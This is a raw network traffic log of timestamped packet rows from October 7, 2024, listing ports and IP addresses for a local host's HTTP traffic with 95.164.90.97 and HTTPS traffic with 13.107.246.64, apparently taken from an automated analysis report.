Oct 7, 2024 18:00:50.709083080 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.709109068 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.709628105 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.709638119 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.709646940 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.709655046 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.709657907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.709678888 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.709678888 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.709686041 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.709692001 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.709702969 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.709712982 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.709717035 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.709722996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.709732056 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.709743023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.709743023 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.709753990 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.709760904 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.709764957 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.709779978 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.709799051 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.709944963 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.710660934 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.710671902 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.710704088 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.714350939 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.714703083 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.753881931 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.753897905 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.753916979 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.753927946 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.753940105 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.753951073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.753957033 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.753964901 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.754002094 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.754416943 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.754427910 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.754437923 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.754446030 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.754450083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.754462957 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.754463911 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.754475117 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.754482031 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.754487038 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.754498005 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.754502058 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.754512072 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.754529953 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.754558086 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.755584955 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.755594969 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.755604982 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.755614996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.755634069 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.755645037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.755652905 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.757390022 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.793510914 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.793526888 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.793540001 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.793550968 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.793562889 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.793575048 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.793565035 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.793587923 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.793600082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.793617964 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.793617964 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.793633938 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.793636084 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.793647051 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.793658018 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.793668985 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.793680906 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.793685913 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.793692112 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.793701887 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.793704033 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.793716908 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.793718100 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.793741941 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.793767929 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.794312954 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.794325113 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.794336081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.794346094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.794357061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.794367075 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.794372082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.794400930 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.794423103 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.794727087 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.794739008 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.794749975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.794780970 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.794823885 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.794847012 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.794859886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.794863939 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.794872046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.794888020 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.794909954 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.794914007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.794970036 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.795862913 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.795875072 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.795885086 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.795896053 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.795906067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.795909882 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.795917988 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.795928955 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.795933962 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.795943022 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.795945883 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.795962095 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.795973063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.795973063 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.795985937 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.796000004 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.796010017 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.796039104 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.796888113 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.796900988 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.796911001 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.796924114 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.796931028 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.796933889 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.796956062 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.796981096 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.838866949 CEST	443	49904	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.884011030 CEST	443	49903	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.887901068 CEST	49904	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.934778929 CEST	49903	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.972520113 CEST	443	49905	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.986378908 CEST	49904	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.986407995 CEST	443	49904	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.986855984 CEST	49904	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.986864090 CEST	443	49904	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.987493992 CEST	49903	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.987505913 CEST	443	49903	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.992562056 CEST	49903	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.992569923 CEST	443	49903	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.997987986 CEST	443	49906	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.000571966 CEST	49906	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.000583887 CEST	443	49906	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.001035929 CEST	49906	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.001041889 CEST	443	49906	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.013257027 CEST	49905	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.016967058 CEST	49905	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.016971111 CEST	443	49905	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.017456055 CEST	49905	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.017460108 CEST	443	49905	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.023407936 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.028424025 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.078429937 CEST	443	49904	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.078495026 CEST	443	49904	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.078563929 CEST	49904	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.080424070 CEST	49904	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.080440998 CEST	443	49904	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.080480099 CEST	49904	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.080485106 CEST	443	49904	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.095360041 CEST	49907	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.095407963 CEST	443	49907	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.095489025 CEST	49907	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.095655918 CEST	49907	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.095688105 CEST	443	49907	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.114526987 CEST	443	49903	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.114552021 CEST	443	49903	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.114589930 CEST	443	49903	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.114639044 CEST	49903	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.114639044 CEST	49903	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.114878893 CEST	49903	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.114907026 CEST	443	49903	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.114926100 CEST	49903	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.114934921 CEST	443	49903	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.114989996 CEST	443	49906	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.115135908 CEST	443	49906	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.115186930 CEST	49906	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.115325928 CEST	49906	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.115340948 CEST	443	49906	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.115350962 CEST	49906	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.115356922 CEST	443	49906	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.117382050 CEST	443	49905	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.117449045 CEST	443	49905	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.117490053 CEST	49905	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.119118929 CEST	49905	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.119123936 CEST	443	49905	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.119141102 CEST	49905	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.119146109 CEST	443	49905	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.154177904 CEST	49908	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.154211998 CEST	443	49908	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.154330015 CEST	49908	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.157313108 CEST	49909	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.157392979 CEST	443	49909	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.157516956 CEST	49909	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.161056995 CEST	49910	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.161066055 CEST	443	49910	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.161113977 CEST	49910	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.164330959 CEST	49909	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.164347887 CEST	443	49909	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.164393902 CEST	49908	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.164412022 CEST	443	49908	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.165374994 CEST	49910	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.165385008 CEST	443	49910	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.219032049 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.219100952 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.220136881 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.220153093 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.220186949 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.220211029 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.223258018 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.223273993 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.223304033 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.223318100 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.228120089 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.228137016 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.228173018 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.228188992 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.232996941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.233014107 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.233047009 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.233064890 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.236974001 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.236990929 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.237016916 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.237030983 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.240031004 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.240046978 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.240061045 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.240086079 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.240108967 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.242938995 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.242955923 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.242970943 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.242985010 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.242997885 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.243019104 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.245618105 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.245634079 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.245665073 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.245677948 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.248437881 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.248455048 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.248497963 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.248512030 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.251276016 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.251291990 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.251328945 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.251341105 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.254162073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.254179001 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.254194021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.254220009 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.254245996 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.256953955 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.256972075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.256999969 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.257025957 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.259500980 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.259517908 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.259545088 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.259557962 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.261943102 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.261964083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.261980057 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.261992931 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.262016058 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.262022972 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.264187098 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.264209986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.264240980 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.264260054 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.266508102 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.266526937 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.266541958 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.266557932 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.266577005 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.266587019 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.268822908 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.268841028 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.268867016 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.268883944 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.271116018 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.271131992 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.271159887 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.271172047 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.273420095 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.273437023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.273458958 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.273469925 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.275494099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.275512934 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.275527000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.275537014 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.275551081 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.275557995 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.277451992 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.277468920 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.277493000 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.277506113 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.279314041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.279330015 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.279344082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.279398918 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.279400110 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.279400110 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.281266928 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.281290054 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.281302929 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.281328917 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.281328917 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.281344891 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.283585072 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.283601046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.283725023 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.283725023 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.284950972 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.284967899 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.284998894 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.285016060 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.286748886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.286766052 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.286793947 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.286807060 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.288614988 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.288630962 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.288657904 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.288671970 CEST	49831	80	192.168.2.5	95.164.90.97
